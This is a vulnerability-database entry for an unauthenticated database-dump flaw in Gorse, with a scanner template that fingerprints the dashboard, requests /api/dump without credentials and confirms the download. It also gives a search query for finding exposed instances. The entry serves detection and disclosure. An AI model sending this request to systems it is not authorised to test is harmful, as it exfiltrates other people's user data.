/Vulnerability Library

Gorse < 0.5.10 - Unauthenticated Database Dump

CVE-2026-56782
Verified

Description

Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.

Severity

Critical

CVSS Score

9.8

Exploit Probability

3%

Affected Product

gorse

Published Date

July 1, 2026

Template Author

0x_akoko

CVE-2026-56782.yaml
id: CVE-2026-56782

info:
  name: Gorse < 0.5.10 - Unauthenticated Database Dump
  author: 0x_Akoko
  severity: critical
  description: |
    Gorse < 0.5.10 contains an authentication bypass caused by empty admin_api_key in /api/dump and /api/restore endpoints, letting unauthenticated remote attackers access and modify protected data, exploit requires default empty admin_api_key configuration.
  impact: |
    Remote attackers can exfiltrate or overwrite the entire database including sensitive user data without authentication.
  remediation: |
    Update to version 0.5.10 or later.
  reference:
    - https://github.com/gorse-io/gorse/issues/1292
    - https://nvd.nist.gov/vuln/detail/CVE-2026-56782
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56782
    epss-score: 0.03344
    epss-percentile: 0.87595
    cwe-id: CWE-306
  metadata:
    max-request: 2
    verified: true
    vendor: gorse-io
    product: gorse
    fofa-query: title="Gorse Dashboard"
  tags: cve,cve2026,gorse,unauth,exposure,misconfig

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(tolower(body), "gorse")
        condition: and
        internal: true

  - raw:
      - |
        GET /api/dump HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(content_type, "application/octet-stream")
          - "!contains(body, 'unauthorized')"
        condition: and
# digest: 490a0046304402202509140a9e2df046c059bd7640b3fc85e975e6d550f5f3812e0bad089e2f063f022059b8b4da80e7796b1595bbd39dd6e0319f50053d21f4908f9c147efadda04b86:922c64590222798bb761d5b6d8e72950
9.8Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-56782
CWE ID:
cwe-306

References

https://github.com/gorse-io/gorse/issues/1292https://nvd.nist.gov/vuln/detail/CVE-2026-56782

Remediation Steps

Update to version 0.5.10 or later.